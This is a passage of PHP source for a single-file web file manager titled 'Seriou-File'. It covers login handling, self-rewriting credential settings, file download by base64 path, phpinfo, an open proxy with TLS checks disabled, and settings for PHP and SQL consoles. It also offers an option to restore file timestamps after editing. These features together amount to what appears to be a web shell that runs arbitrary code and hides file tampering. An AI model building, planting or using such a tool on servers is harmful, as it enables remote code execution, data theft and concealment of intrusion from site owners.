                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Seriou-File</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
